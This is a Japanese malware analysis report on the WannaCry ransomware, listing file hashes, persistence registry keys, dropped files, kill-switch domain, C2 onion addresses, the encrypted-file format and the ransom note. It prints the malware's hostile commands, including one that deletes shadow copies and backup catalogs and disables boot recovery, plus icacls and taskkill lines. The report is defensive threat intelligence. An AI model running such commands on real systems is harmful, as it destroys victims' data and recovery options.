WannaCryマルウェアのプロファイル

WannaCry (別名WCry又はWanaCryptor) マルウェアは、自己増殖型 (ワーム型) のランサムウェアです。Microsoftのサーバーメッセージブロック (SMB) プロトコルの脆弱性MS17-010をエクスプロイトすることで、内部ネットワークおよび公共のインターネットを通して拡散します。WannaCry マルウェアは2つの異なるコンポーネントで構成されており、1つはランサムウェアの機能をもたらし、もう1つは増殖に使用されるコンポーネントとして、SMBのエクスプロイトを可能にする機能を含んでいます。

このマルウェアは、Shadow Brokersにより2017年4月14日にリリースされたエクスプロイト (コードネーム「EternalBlue」) を利用します。

このマルウェアは、.WCRY拡張子を持つ暗号化されたデータファイルを追加した上で、復号ツールをドロップして実行し、データを復号するための見返りとして300米ドルまたは600米ドルを (ビットコインで) 要求します。

このマルウェアは、コマンド&コントロール (C2) 通信用に暗号化されたTORチャネルを使用します。

ファイル特性

ファイル名

MD5ハッシュ

サイズ (バイト)

コンパイル時間

説明

ファイルタイプ

mssecsvc.exe

db349b97c37d22f5ea1d1841e3c89eb4

3723264

2010-11-20T09:03:08Z

Loader + Worm Component

EXE

tasksche.exe

84c82835a5d21bbcf75a61706d8ab549

3514368

2010-11-20T09:05:05Z

Loader

EXE

Unavailable

f351e1fcca0c4ea05fc44d15a17f8b36

65536

2009-07-14 01:12:55Z

Encryptor

DLL

@WanaDecryptor@.exe

7bf2b57f2a205768755c07f238fb32cc

245760

2009-07-13 23:19:35Z

Decryptor

EXE

<表1: ファイル特性>

持続性のメカニズム

このマルウェアは、次の2つのレジストリ実行キーを作成し、持続性を確保します。

·    Key:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Random>

     Value: <Full_path>\tasksche.exe

·    Key:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Random>

     Value: <Full_path>\tasksche.exe

このマルウェアは、次のサービスを作成し、mssecsvc.exeの持続性を確保します。

·    ServiceName: mssecsvc2.0

·    DisplayName: Microsoft Security Center (2.0) Service

·    BinaryPath: <path to mssecsvc> -m security

このマルウェアは、次のサービスを作成し、tasksche.exeの持続性を確保します。

·    ServiceName: <8-15lower><3number>

·    DisplayName: <Same as Service Name>

·    BinaryPath <path to tashsche.exe>

ホストベースのシグネチャ

ファイルシステムのアーティファクト

チェックサム

·    Actual: 0x00018AF7

·    Header: 0x00000000

ドロップされるファイル

ローダーファイル

·    Name: tasksche.exe
Path: C:\WINDOWS\
Path: <system_drive>\ProgamData\<sys_id>
Path: <system_drive>\Intel\<sys_id>
MD5: 84c82835a5d21bbcf75a61706d8ab549

·    Name: qeriuwjhrf
Path: C:\WINDOWS\

·    Name: m_bulgarian.wnry
Path: %CD%\msg\
MD5: 95673b0f968c0f55b32204361940d184

·    Name: m_chinese (simplified).wnry
Path: %CD%\msg\
MD5: 0252d45ca21c8e43c9742285c48e91ad

·    Name: m_chinese (traditional).wnry
Path: %CD%\msg\
MD5: 2efc3690d67cd073a9406a25005f7cea

·    Name: m_croatian.wnry
Path: %CD%\msg\
MD5: 17194003fa70ce477326ce2f6deeb270

·    Name: m_czech.wnry
Path: %CD%\msg\
MD5: 537efeecdfa94cc421e58fd82a58ba9e

·    Name: m_danish.wnry
Path: %CD%\msg\
MD5: 2c5a3b81d5c4715b7bea01033367fcb5

·    Name: m_dutch.wnry
Path: %CD%\msg\
MD5: 7a8d499407c6a647c03c4471a67eaad7

·    Name: m_english.wnry
Path: %CD%\msg\
MD5: fe68c2dc0d2419b38f44d83f2fcf232e

·    Name: m_filipino.wnry
Path: %CD%\msg\
MD5: 08b9e69b57e4c9b966664f8e1c27ab09

·    Name: m_finnish.wnry
Path: %CD%\msg\
MD5: 35c2f97eea8819b1caebd23fee732d8f

·    Name: m_french.wnry
Path: %CD%\msg\
MD5: 4e57113a6bf6b88fdd32782a4a381274

·    Name: m_german.wnry
Path: %CD%\msg\
MD5: 3d59bbb5553fe03a89f817819540f469

·    Name: m_greek.wnry
Path: %CD%\msg\
MD5: fb4e8718fea95bb7479727fde80cb424

·    Name: m_indonesian.wnry
Path: %CD%\msg\
MD5: 3788f91c694dfc48e12417ce93356b0f

·    Name: m_italian.wnry
Path: %CD%\msg\
MD5: 30a200f78498990095b36f574b6e8690

·    Name: m_japanese.wnry
Path: %CD%\msg\
MD5: b77e1221f7ecd0b5d696cb66cda1609e

·    Name: m_korean.wnry
Path: %CD%\msg\
MD5: 6735cb43fe44832b061eeb3f5956b099

·    Name: m_latvian.wnry
Path: %CD%\msg\
MD5: c33afb4ecc04ee1bcc6975bea49abe40

·    Name: m_norwegian.wnry
Path: %CD%\msg\
MD5: ff70cc7c00951084175d12128ce02399

·    Name: m_polish.wnry
Path: %CD%\msg\
MD5: e79d7f2833a9c2e2553c7fe04a1b63f4

·    Name: m_portuguese.wnry
Path: %CD%\msg\
MD5: fa948f7d8dfb21ceddd6794f2d56b44f

·    Name: m_romanian.wnry
Path: %CD%\msg\
MD5: 313e0ececd24f4fa1504118a11bc7986

·    Name: m_russian.wnry
Path: %CD%\msg\
MD5: 452615db2336d60af7e2057481e4cab5

·    Name: m_slovak.wnry
Path: %CD%\msg\
MD5: c911aba4ab1da6c28cf86338ab2ab6cc

·    Name: m_spanish.wnry
Path: %CD%\msg\
MD5: 8d61648d34cba8ae9d1e2a219019add1

·    Name: m_swedish.wnry
Path: %CD%\msg\
MD5: c7a19984eb9f37198652eaf2fd1ee25c

·    Name: m_turkish.wnry
Path: %CD%\msg\
MD5: 531ba6b1a5460fc9446946f91cc8c94b

·    Name: m_vietnamese.wnr
Path: %CD%\msg\
MD5: 8419be28a0dcec3f55823620922b00fa

·    Name: t.wnry
Path: %CD%
MD5: 5dcaac857e695a65f5c3ef1441a73a8f
説明: 暗号化された暗号化ツール

·    Name: taskdl.exe
Path: %CD%
MD5: 4fef5e34143e646dbf9907c4374276f5
説明: 一時ファイル削除用サポートツール

·    Name: taskse.exe
Path: %CD%
MD5: 8495400f199ac77853c53b5a3f278f3e
説明: 復号ツール起動用サポートツール

·    Name: u.wnry
Path: %CD%
MD5: 7bf2b57f2a205768755c07f238fb32cc
説明: 復号ツール

·    File: b.wnry
Path: %CD%
MD5: c17170262312f3be7027bc2ca825bf0c
説明: 脅迫画像 (BMP)

·    Name: c.wnry
Path: %CD%
MD5: ae08f79a0d800b82fcbe1b43cdbdbefc
説明: 設定データ

暗号化ファイル

·    00000000.res

·    00000000.pky

·    00000000.eky

·    00000000.dky

復号ファイル

·    c.wnry

·    File: taskhsvc.exe

Path: TaskData\Tor\

次のアーティファクトは、リモートでエクスプロイトされたシステム上で見つかります。

·    Name: mssecsvc.exe
Path: C:\WINDOWS\
MD5: db349b97c37d22f5ea1d1841e3c89eb4
説明: ドロッパー + ワームコンポーネント

レジストリアーティファクト

·    ServiceName: mssecsvc2.0
DisplayName: Microsoft Security Center (2.0) Service
BinaryPath: <GetModuleFileName> -m security

·    HKLM\Software\WanaCrypt0r\wd

·    HKCU\Software\WanaCrypt0r\wd

エクスポート

·    0x00005AE0 TaskStart

ミューテックス

·    MsWinZonesCacheCounterMutexA

プロセス引数

·    icacls . /grant Everyone:F /T /C /Q

·    attrib +h +s <Drive_Letter>:\$RECYCLE

·    taskkill.exe /f /im Microsoft.Exchange.\*

·    taskkill.exe /f /im MSExchange\*

·    taskkill.exe /f /im sqlserver.exe

·    taskkill.exe /f /im sqlwriter.exe

·    taskkill.exe /f /im mysqld.exe

·    cmd.exe /c start /b @WanaDecryptor@.exe vs

·    cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -q

·    -m security

·    cmd /c <15 digits>.bat

·    cscript.exe //nologo <1 character>.vbs

ネットワークベースのシグネチャ

DNS

·    www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com (sinkholed)

接続

·    <random_ip>:445 

·    <subnet_ip>:445

 

WannaCryの解析

始動

このマルウェアは、まず始めに、InternetOpenUrlを使って次のドメインへの接続を試みます。

·    www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

注記: これが成功した場合、マルウェアは即座にプロセスを終了します。確認済みキルスイッチドメインのリストは、別表Aを参照して下さい。

接続に失敗した場合、マルウェアはプログラムに渡した引数の数をチェックします。もしゼロなら、マルウェアはインストレーションを継続し、ゼロでなければサービスモードに入ります。

注記: ネットワークプロキシやその他の企業内ネットワークのセキュリティ特性によっては、マルウェアがキルスイッチドメインへ繋がるのを防いでしまい、うかつにも暗号化を引き起こしてしまう可能性があります。組織はプロキシ設定またはその他のネットワーク設定を調整し、この問題を回避した方がよいでしょう。

サービスモード

サービスモードに入ると、このマルウェアはまずサービス設定を更新します。そのため、もしサービスがSERVICE_STOPPED状態に入らずに終了すると、障害時アクションが起こります。次にマルウェアはサービスファンクションを実行し、サービスハンドラーを登録するとともに、識別したSMBサービスに対してMS17-010のエクスプロイトを試みます。これによってリモートでのコード実行が可能になり、ネットワーク中に拡散できるようになります。サービスファンクションの実行は1つのスレッドで行われ、サービスはスレッドの状態にかかわらず24時間後に終了します。

スプレッダーはまず、WindowsソケットAPIのセットアップ、およびRSA暗号コンテキストの生成から始めます。この暗号コンテキストは後で乱数を生成するために使用されます。次にマルウェアは、同じ機能を持つ32ビットと64ビットの2つのDLLをメモリにビルドします。それぞれのDLLが PlayGame という単独のエクスポート名を格納しており、WリソースをロードしてC:\WINDOWS\mssecsvc.exeに書き込み、実行します。いずれの場合もWリソースは、実行中の次のバイナリのコピーが追加されています。(MD5: db349b97c37d22f5ea1d1841e3c89eb4)

マルウェアは動作を続け、2つのスレッドを生成します。最初のスレッドはネットワークアダプタを列挙して、システムが存在するサブネットを見つけ出します。次にマルウェアは、サブネット上のそれぞれのIP毎に1つのスレッドを生成します。これらのスレッドの1つ1つがポート445上でIPへの接続を試み、成功すればMS17-010で説明された脆弱性を通してサービスのエクスプロイトを試みます。リモートシステム上でMS17-010のエクスプロイトが試みられている例として、図1を参照して下さい。

<図1: SMBのエクスプロイトが試みられているWannaCryのネットワークトラフィック>

このトラフィックのユニークな特徴の1つが、次のUNICODE文字列を含んだSMB Tree Connect AndX Requestです。

·    \\192.168.56.20\IPC$

このパケットは手動で作成され、マルウェアの中にハードコード化されています。

2つ目のスレッドはランダムにIPアドレスを生成し、ポート445上でそれらに接続しようとします。もし接続に成功すれば、次にマルウェアはシステム上でSMBへの攻撃を試みます。2つ目のスレッド領域には128個のインスタンスが作成され、各スレッドの作成は2秒間隔で区切られます。

インストレーション

このマルウェアは動作を続け、mssecsvc2.0 という名前のサービスを作成します。このバイナリパスは実行されているモジュールを示しており、引数 "-m security" が付与されます。サービスがいったん作成されると、マルウェアはサービスを開始します。次にマルウェアはそのRリソースを見つけて、メモリーにロードします。そしてRリソースデータをファイルC:\WINDOWS\tasksche.exe に書き込みます。その後マルウェアは、C:\WINDOWS\tasksche.exe をC:\WINDOWS\qeriuwjhrfへ移動させようと試みます。もし既存のファイルがあれば、それと置き換えます。

マルウェアはコンピュータ名に基づくユニークな識別子の生成を始めます。識別子 <sys_id> は、8文字から15文字のランダムな小文字の後に3つの数字が続く形をとります。次にマルウェアは、引数 /i が渡されたかチェックします。

/i コマンドを付けて実行

/i コマンドは、もし <system_drive>\ProgamData が存在する場合は実行中のバイナリを<system_drive>\ProgamData\<sys_id>\tasksche.exe へコピーし、存在しなければ <system_drive>\Intel\<sys_id>\tasksche.exe へコピーします。<system_drive> は、Windowsがインストールされている場所のドライブレターです (C:\WindowsであればC:\)。そしてマルウェアは、現在のディレクトリを、作成されたディレクトリに更新します。

次にマルウェアは、 <sys_id> の名前のサービスを開こうと試みます。サービスが存在しない場合は、<sys_id> のDisplayNameと、cmd /c <path_to_copied tasksche.exe> のBinaryPathでサービスを作成します。そしてサービスを開始し、ミューテックスGlobal\MsWinZonesCacheCounterMutexA0 を開こうと試みます。もしミューテックスが60秒以内に作成されない場合は、マルウェアは自身を新しいインストールディレクトリから引数を付けずに再起動します。マルウェアはミューテックスが作成されるのを60秒待ち、ミューテックスがどちらかのインスタンスに作成されれば、初期実行ファイルを終了します。ミューテックスの作成に失敗した場合は、マルウェアは引数 /i を付けずに実行された場合と同様の動作を続けます。

/i コマンドを付けずに実行

マルウェアは %CD% を実行中のモジュールのパスに更新し、%CD% をHKLM\Software\WanaCrypt0r\wd へセットします。そしてXIAリソースをロードし、多数のファイル (表3を参照) を %CD% に展開します。その後マルウェアは %CD%\c.wnry (設定データ) を開き、メモリにロードします。ファイルのサイズは 0x30C になると予想されます。マルウェアは次に3つの文字列13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94、12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw、115p7UMMngoj1pMvkpHijcRdfJNXj6LrLnから1つをランダムに選び、設定ファイルのオフセット0xB2 に書き込みます。そして更新した設定データを %CD%\c.wnry に書き戻します。

その後マルウェアは、次のコマンドをCreateProcessに付けて実行し、%CD% に隠し属性をセットします。

·    attrib +h

そして次のコマンドを実行し、%CD% 及びその全てのサブディレクトリへのパーミションを全ユーザーに付与します。

·    icacls . /grant Everyone:F /T /C /Q

続けて、ハードコード化したRSA非公開キー (図2参照) をインポートします。


<図2: インポートされた非公開キー>

次にマルウェアは %CD%\t.wnry を開いて読み込み、ファイルの最初の8バイトがマジックナンバー WANACRY! とマッチするかチェックします。このファイルは次の構造を持っています。

暗号化されたキーは、128ビットAESキー BEE19B98D2E5B12211CE211EECB13DE6 に復号します。このキーはenc_dataの復号に使うことができます。復号したデータはDLL (MD5: f351e1fcca0c4ea05fc44d15a17f8b36) として保存されます。その後、このDLLはマニュアルでメモリにロードされ、TaskStart エクスポートが呼び出されます。復号されたDLLのTaskStartエクスポートは、ランサムウェアの暗号化コンポーネントです。

XIAリソースのコンテンツ

次の表2で示したのは、XIAリソースから展開されるファイルです。これらはマルウェアが実行されている %CD% にドロップされます。

ファイル名

MD5ハッシュ

説明

r.wnry

3e0020fc529b1c2a061016dd2469ba96

脅迫文のテキスト

s.wnry

ad4c9de7c8c40813f200ba1c2fa33083

TORファイルを含むZipファイル

t.wnry

5dcaac857e695a65f5c3ef1441a73a8f

暗号化された暗号化ツール

taskdl.exe

4fef5e34143e646dbf9907c4374276f5

*.WNCRYTファイル削除ツール

taskse.exe

8495400f199ac77853c53b5a3f278f3e

復号ツール起動用ユーティリティ

u.wnry

7bf2b57f2a205768755c07f238fb32cc

復号ツール

b.wnry

c17170262312f3be7027bc2ca825bf0c

脅迫画像 (BMP)

c.wnry

ae08f79a0d800b82fcbe1b43cdbdbefc

設定データ

<表2: 展開されたXIAリソース>

次の表3で示したのは、様々な言語で書かれた脅迫文を含むRTFドキュメントです。

ファイル名

MD5ハッシュ

m_bulgarian.wnry

95673b0f968c0f55b32204361940d184

m_chinese (simplified).wnry

0252d45ca21c8e43c9742285c48e91ad

m_chinese (traditional).wnry

2efc3690d67cd073a9406a25005f7cea

m_croatian.wnry

17194003fa70ce477326ce2f6deeb270

m_czech.wnry

537efeecdfa94cc421e58fd82a58ba9e

m_danish.wnry

2c5a3b81d5c4715b7bea01033367fcb5

m_dutch.wnry

7a8d499407c6a647c03c4471a67eaad7

m_english.wnry

fe68c2dc0d2419b38f44d83f2fcf232e

m_filipino.wnry

08b9e69b57e4c9b966664f8e1c27ab09

m_finnish.wnry

35c2f97eea8819b1caebd23fee732d8f

m_french.wnry

4e57113a6bf6b88fdd32782a4a381274

m_german.wnry

3d59bbb5553fe03a89f817819540f469

m_greek.wnry

fb4e8718fea95bb7479727fde80cb424

m_indonesian.wnry

3788f91c694dfc48e12417ce93356b0f

m_italian.wnry

30a200f78498990095b36f574b6e8690

m_japanese.wnry

b77e1221f7ecd0b5d696cb66cda1609e

m_korean.wnry

6735cb43fe44832b061eeb3f5956b099

m_latvian.wnry

c33afb4ecc04ee1bcc6975bea49abe40

m_norwegian.wnry

ff70cc7c00951084175d12128ce02399

m_polish.wnry

e79d7f2833a9c2e2553c7fe04a1b63f4

m_portuguese.wnry

fa948f7d8dfb21ceddd6794f2d56b44f

m_romanian.wnry

313e0ececd24f4fa1504118a11bc7986

m_russian.wnry

452615db2336d60af7e2057481e4cab5

m_slovak.wnry

c911aba4ab1da6c28cf86338ab2ab6cc

m_spanish.wnry

8d61648d34cba8ae9d1e2a219019add1

m_swedish.wnry

c7a19984eb9f37198652eaf2fd1ee25c

m_turkish.wnry

531ba6b1a5460fc9446946f91cc8c94b

m_vietnamese.wnry

8419be28a0dcec3f55823620922b00fa

<表3: 様々な言語で書かれた脅迫文>

暗号化コンポーネント

TaskStart エクスポートは2つの引数を持ち、1つはモジュールへのハンドル、もう1つは整数で必ずゼロが入ります。TaskStart は最初に "MsWinZonesCacheCounterMutexA" という名前のミューテックスを作成し、現在のディレクトリから c.wnry のコンテンツを読み込みます。もしミューテックスがすでに存在するか、または c.wnry が存在しない場合は、マルウェアは終了します。マルウェアは次の名前の別のミューテックスも作成します。"Global\MsWinZonesCacheCounterMutexA0"

マルウェアは次にファイル 00000000.dky をロードし、キーを検証します。その後、キー 00000000.pky をロードしようと試みます。もしキーが存在しない場合は、マルウェアは公開RSAキー (図3参照) をインポートし、新しく2048-ビットRSAキーを生成して、その公開キーを 00000000.pky に保存します。次に、埋め込んだ公開キーで暗号化して生成した非公開キーを、 00000000.eky に保存します。

<図3: 公開RSAキー>

00000000.eky はリトルエンディアン形式の数バイト (0x500) で始まり、暗号化されたキーが続きます。

マルウェアはスレッドを立ち上げ、25秒毎に 00000000.res へ136バイトを書き込みます。書き込まれたバッファにはシステムの現在時刻が含まれています。もしマルウェアが初期化している間にファイル 00000000.res が存在しない場合は、ファイルを作成します。初期のコンテンツはランダムに生成された8バイトで始まり、128のゼロバイトが続きます。

マルウェアは別のスレッドを立ち上げ、00000000.dky および 00000000.pky に格納されたキーを使って暗号化および復号が可能か、25秒毎に検証します。復号に成功した場合、マルウェアはグローバルフラグをセットし、暗号化プロセスを中止します。

マルウェアは別のスレッドを立ち上げ、システムにアタッチされた新しいドライブを3秒毎にスキャンします。新しいドライブがシステムにアタッチされ、それがCD-ROMドライブとして認識されていなければ、マルウェアはその新しいドライブで暗号化プロセスを開始します。システムにアタッチされた新しいドライブで、マルウェアはディレクトリ <Drive_letter>:\$RECYCLE を作成し、次のコマンドを実行します。

·    attrib +h +s <Drive_Letter>:\$RECYCLE

マルウェアはスレッドを1つ作成し、プロセス taskdl.exe を30秒毎に実行します。そして別のスレッドを作成し、次の2つのバイナリのどちらかを実行します (アドミニストレータのパーミションおよびマルウェアがシステムレベルで実行されているかどうかに左右されます)。

·    @WanaDecryptor@.exe

·    taskse.exe <Full_Path>\@WanaDecryptor@.exe

次にマルウェアは、'a' から 'z' の間の8から15文字で始まり、'0' から '9' の間の3桁のランダムな値が続くレジストリキー名を生成し、生成したキー名を使って次のレジストリパスを作成します。

·    HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Key>

·    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Key>

レジストリキーを作成するため、マルウェアは次のコマンドを実行します。

·    cmd.exe /c reg add <Registry_Ru_Path> /v "<Random>" /t REG_SZ /d "\"<Full_Path>\tasksche.exe\"" /f

ユーザーファイルの暗号化

マルウェアは、別に埋め込まれた図4のRSA公開キーをロードします。

<図4: 埋め込まれたもう1つのRSA公開キー>

マルウェアは、ファイル @WanaDecryptor@.exe に "fi" の引数を付けて実行します。これがサーバーへの初期チェックインのように見え、レスポンスには最新のビットコインアドレスが格納されている可能性があります。マルウェアはオフセット0x60 の現在時刻で c.wnry を更新します。

次にマルウェアは、u.wrny を @WanaDecryptor@.exe へコピーし、図5で示したスクリプトを実行して @WanaDecryptor@.exe.lnk を作成します。スクリプトはランダムに生成されたファイル名で保存されます。ファイル名は、現在時刻と、'0' から '9' までの数字を使う乱数に基づいて作成されます。ファイル名の例: "188391494652743.bat"

<図5: ファイルを移動及び削除するためのWannaCry内部スクリプト>

その後マルウェアは、設定により "$<Value>worth of bitcoin" または "%.<Value> BTC" のどちらかを @Please_Read_Me@.txtに書き込み、その後ろにファイル r.wnry のコンテンツが追加されて、下記の内容を表示します。

Q: 私のファイルに何が起こったのですか?

A: おっと、あなたの大事なファイルは暗号化されました。そのため、復号されるまではこれ以上ファイルにアクセスすることはできません。

あなたが私たちの指示に従いさえすれば、すべてのファイルは素早く安全に復号できることを保証します!

さあ、復号を始めましょう!

Q: どうすれば良いのですか?

A: まず、復号のためのサービス料を支払う必要があります。

<Ransom Amount> を次のビットコインアドレスに送金して下さい: <Bitcoin_address>

次に、"@WanaDecryptor@.exe" という名前のアプリケーションファイルを見つけて下さい。それが復号ソフトウェアです。

ソフトウェアを実行し、指示に従ってください! (しばらくの間、アンチウイルスソフトを無効にしておく必要があるかもしれません。)

Q: 信用できますか?

A: 復号について心配する必要はありません。

もし私たちがユーザーを騙すようなことをすれば、誰も私たちを信用しなくなってしまうので、確実にあなたのファイルを復号します。

*   手助けが必要な場合は、復号ツールのウィンドウで <Contact Us> をクリックし、メッセージを送って下さい。

 

<図6: ユーザーに表示される暗号化警告画面>

そしてマルウェアは、ユーザーのデスクトップやドキュメントフォルダにあるファイルを標的にします。マルウェアがディレクトリのスキャンを開始すると、接頭辞 "~SD" の付いた一時ファイルが作成され、スキャンが成功すると削除されます。

暗号化するファイルを選ぶ際、マルウェアは拡張子が .exe、.dll、.wncry のファイルをスキップします。図7に示した拡張子を持つファイルが選ばれて暗号化されます。209,715,200バイトより大きなファイルも暗号化される可能性があります。

<図7: 暗号化の標的となるファイル>

マルウェアは次の名前のフォルダーは無視する可能性があります。

·    \\

·    $\

·    Intel

·    ProgramData

·    WINDOWS

·    Program Files

·    Program Files (x86)

·    AppData\Local\Temp

·    Local Settings\Temp

·    Temporary Internet Files

·    Content.IE5

また、マルウェアはフォルダ名を次の文字列と対照し、フォルダに文字列が識別されれば暗号化を回避します:

·    「このフォルダはランサムウェアから保護されています。変更を加えると保護が弱まります」

注記: 文字列の先頭には1文字分の空白が含まれます。この特別なチェックは、テスト/開発を目的として含められているようです。

ディレクトリに暗号化するファイルがあれば、マルウェアはそのディレクトリに @Please_Read_Me@.txt 及び @WanaDecryptor@.exe をコピーします。最初の8バイトに文字列WANACRY! が含まれていないことを検証し、さらにヘッダーをチェックしてファイルがすでに暗号化されていないことを検証します。

ファイルは、ランダムに生成された128-bit AESキーにより、初期化ベクターがNULLのCBCモードで暗号化されます。このキーはファイルごとに生成され、生成済みのRSA公開キーで暗号化されて、暗号化されたファイルのヘッダーに埋め込まれます。マルウェアによって暗号化されたそれぞれのファイルはWANACRY! という文字列で始まり、WNCRYという拡張子を持ちます。ファイルプロパティによっては、WNCRYTという拡張子になることもあります。

次の表4は暗号化されたファイルのファイルフォーマットを示します。

オフセット

0x0000

WANACRY!

0x0008

RSA暗号化データの長さ

0x000C

RSA暗号化AESファイルの暗号化キー

0x010C

WannaCry固有のファイルタイプ

0x0110

オリジナルのファイルサイズ

0x0118

暗号化されたファイルコンテンツ (AES-128 CBC)

<表4: 暗号化されたファイルのフォーマット>

AESキーをRSAで暗号化する際、マルウェアは埋め込まれたRSAキーまたはランダムに生成されたキーを使います。もし初期化中にファイル f.wnry が存在しない場合、マルウェアは乱数を生成します。この場合、対象ファイルのサイズが209,715,200未満であることが条件となります。もし番号が100の倍数だった場合、マルウェアは埋め込まれたRSAキーを使ってAESキーを暗号化します。このキーにより最大10個のファイルを暗号化することができます。AESキーをこのRSAキーで暗号化する際、マルウェアはファイル f.wnry にファイルパスを書き込みます。もし乱数が100の倍数でないか、ファイル f.wnry がすでにシステム上に存在する場合は、マルウェアはランダムに生成したRSAキーを使ってAESキーを暗号化します。

デスクトップとドキュメントフォルダの暗号化が完了した時点で、マルウェアは次のコマンドを実行します:

·    taskkill.exe /f /im Microsoft.Exchange.\*

·    taskkill.exe /f /im MSExchange\*

·    taskkill.exe /f /im sqlserver.exe

·    taskkill.exe /f /im sqlwriter.exe

·    taskkill.exe /f /im mysqld.exe

次にマルウェアは、システムにアタッチされた論理ドライブ上で見つかったファイルを暗号化します。対象となるのは、ドライブタイプがDRIVE_CDROM以外の論理ドライブです。

マルウェアは次のコマンドを実行する可能性があります。

·    @WanaDecryptor@.exe co

マルウェアは次のコマンドを実行します。

·    cmd.exe /c start /b @WanaDecryptor@.exe vs

マルウェアは b.wnry を @WanaDecryptor@.bmp へコピーし、@WanaDecryptor@.exeのコピーと共に、各ユーザーのデスクトップフォルダに置きます。

復号化ツールコンポーネント

マルウェアは、ローカルホストのTCPポート9050で実行されているTORサーバーを使って、Onionサーバーと通信します。マルウェアはシステムをOnionサーバに登録し、暗号化キーを転送してボリュームシャドーを削除します。身代金が支払われた時点で、マルウェアは復号したRSA非公開キーをOnionサーバーから取得し、人質にとっていたファイルを復号します。

マルウェアはまず、レジストリパス HKLM\Software\WanaCrypt0r\wd のコンテンツの読み込みを試みます。これに失敗すれば、HKCUレジストリハイブ内で類似のレジストリパスからのコンテンツの読み込みを試みます。そのようなレジストリパスが1つ存在していれば、マルウェアはレジストリから読み取った値に現在のディレクトリをセットします。

マルウェアは現在のディレクトリから c.wnry を開こうと試み、もしファイルが存在すれば780バイトを読み込みます。ファイルが存在しない場合は、図8で示すコンテンツでファイルを作成します。

<図8: c.wnryのコンテンツ>

c.wnry のオフセット0x6c (0x59140342) の値は、ファイルが作成された時のタイムスタンプです。残りの値は、バイナリ内でハードコード化されます。

使用可能なコマンド

復号ツールコンポーネントは、表5で示すコマンドライン引数の利用を認めています。

引数

説明

fi

Onionサーバーに接続して詳細情報をシステムから送信する。これには、ホスト名、ユーザー名、および00000000.resからの8ビット分の情報が含まれる。レスポンスには c.wnry で更新されたビットコインアドレスが含まれている可能性がある。

co

脅迫文を表示せず、ランサムサーバーへの初期チェックインのように見せる。

vs

Vssadminユーティリティを使ってボリュームシャドーを削除する。

<表5: 利用できるコマンド>

fi引数

マルウェアは現在のパスにあるファイル "00000000.res" から136バイトを読み込みます。もしファイルが存在しなければ、マルウェアは終了します。マルウェアは c.wnry から、オフセット0x242および0x1DE にある2つのURLを読み込みます。

c.wnry のオフセット 0x1DE にある最初のURL:

·    https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

オフセット 0x242 のもう1つのURLは設定されていません。

マルウェアは次にTCPソケットをローカルホスト (127.0.0.1) と結合し、ローカルホストのポート9050へ接続します。

そしてマルウェアは、パス "TaskData\Tor\taskhsvc.exe" が存在するかチェックします。もしファイルが存在しなければ、アーカイブ s.wnryから展開されます。もし s.wnry が存在しなければ、マルウェアは設定内の最初のURLをダンロードし、これが失敗すれば、2番目のURLを試します。

URLからダウンロードする際、ダウンロードしたファイルはまず、GetTempFileNameAを使って接頭辞 "t" を付けて生成したファイル名で、TaskDataフォルダー内に保存されます。ダウンロードしたファイルはZipアーカイブで、"TaskData" フォルダーに展開されます。

展開されると、マルウェアは "TaskData\Tor\tor.exe" を "TaskData\Tor\taskhsvc.exe" へコピーし、実行します。

マルウェアは、接続するOnionサーバーの設定ファイル c.wnry のオフセット0xE4で取得した文字列をパースします。設定ファイルにリスト化されているOnionサーバーは以下の通りです。

·    gx7ekbenv2riucmf.onion

·    57g7spgrzlojinas.onion

·    xxlvbrloxvriy2c5.onion

·    76jdd2ir2embyv47.onion

·    cwwnhwhlz52maqm7.onion

マルウェアは、ファイル 00000000.res の始めの8バイト、ホスト名、ユーザー名、および文字列 "+++" をOnionサーバーへ送ります。コマンド&コントロールのプロトコルは特別に作成されたもので、ランダムに生成したバッファとともにエンコードされたXORであるように見えます。

サーバーからのレスポンスは、文字列の長さが30から50文字であれば、c.wnry へ追加されます。下記はサーバーに送信されるメッセージの一例です。

·    <8 bytes from 00000000.res><Host name>\x00<Unknown Byte><User name>\x00+++

co引数

この引数により、マルウェアは <8_Uppercase_Hex>.res というフォーマットのファイル名をスキャンします。マルウェアが探しそうなファイルは、暗号化DLLによって作成された 00000000.res です。マルウェアは次に、".res" ファイルから取得した4つの値 (図6) を含んだ、次のフォーマットのC2メッセージを生成します。

·    --- <Time0> <Time1> <Unknown_int0> <Unknown_long> <Index>

注記: 上記の例では、値がTAB文字で区切られています。

説明

---

コマンドの識別を意図していると思われるハードコード化された文字列

Time0

オフセット0x60から取得した時間値

Time1

オフセット0x78から取得した時間値

Unknown int0

オフセット0x7Cから取得した整数

Unknown long

オフセット0x80から取得した64ビットの整数

Index

<8_Uppercase_Hex>.res フォーマットのファイルをスキャンする際の現在のファイル数

<表6: C2メッセージの値>

次の図9はメッセージの一例です。

<図9: C2メッセージの例>

メッセージを送った後、マルウェアは終了します。

vs引数

マルウェアは10秒スリープしてから、CreateProcess または RunAs (グループメンバーシップによる) を使って次のコマンドを実行します。

·    cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -q

No引数

マルウェアは b.wnry を @WanaDecryptor@.bmp というファイル名で、現在のディレクトリからデスクトップにコピーします。するとデスクトップの壁紙がこのビットマップのパスにセットされ、図6に示したダイアログが表示されます。

ユーザーが "Contact us" と書かれたリンクをクリックすると、マルウェアは次のフォーマットを使ってメッセージをOnionサーバーへ送信します。

·    <8 bytes from 00000000.res><Host name>\x00<Unknown Byte><User name>\x00***<Tab><Message contents>

サーバーからのレスポンスにより、マルウェアは次の値の内1つをメッセージボックスに表示します。

1.      メッセージは無事に送信されました!

2.      メッセージの送信に失敗しました!

コンピュータがインターネットに接続されており、ご利用のインターネットサービスプロバイダ(ISP) がTORネットワークへの接続をブロックしていないことを確認してください!

3.      送信しようとしているメールが多すぎます! <Integer value> 分後にもう一度試してください。

